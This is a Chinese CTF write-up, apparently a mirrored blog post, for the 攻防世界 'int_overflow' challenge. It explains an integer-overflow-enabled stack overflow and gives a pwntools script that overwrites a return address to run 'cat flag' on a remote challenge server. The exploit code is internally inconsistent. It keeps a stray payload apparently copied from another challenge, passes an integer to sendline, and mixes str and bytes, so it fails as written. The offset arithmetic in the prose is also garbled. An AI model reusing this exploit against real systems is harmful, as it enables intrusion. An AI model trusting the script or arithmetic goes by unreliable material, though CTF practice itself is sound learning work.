zoukankan      html  css  js  c++  java
  • *pwn*练习5——攻防世界-int_overflow

    常规操作就不说了

     进1,进入login函数

    输入密码后进入check_passwd函数

    从汇编代码中可以看到,想要覆盖到返回地址,先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址,最后接上262剩余的数据即可。

    payload一共是256+3-256+8这些字节,先填充14+4进行覆盖,再填充跳转地址,再加上剩余的数据让v3达到绕过溢出的目的

    from pwn import *
    kubopiy=remote("220.249.52.133",59148)#
    elf = ELF("./int_overflow")
    payload=b'a'*(0x28+0x04)+p32(0x0804A0A8)#b是字这么多的a,再加一64位打包好的覆盖使之能覆盖seed
    kubopiy.recvuntil("Your choice:")#接收到那一句
    kubopiy.sendline('1')
    kubopiy.recvuntil("Please input your username:")#接收到那一句
    kubopiy.sendline(1)
    kubopiy.recvuntil("Please input your passwd:")#接收到那一句
    payload='A'*(0x14+4)+p32(0x8048691)+'a'*(256+3-0x14-4-4)#-4是因为还有一的指令
    kubopiy.sendline(payload)
    kubopiy.interactive()
  • 相关阅读:
    父亲对子女的话
    开通博客
    在linux下安装MySQLdb及基本操作
    java 词汇表速查手册
    java数据源的几种配置
    DBCP的参数配置
    Linux crontab定时执行任务
    很好看的Button CSS.
    C# 创建活动目录.txt
    解密存储过程
  • 原文地址:https://www.cnblogs.com/kubopiy/p/13673316.html
Copyright © 2011-2022 走看看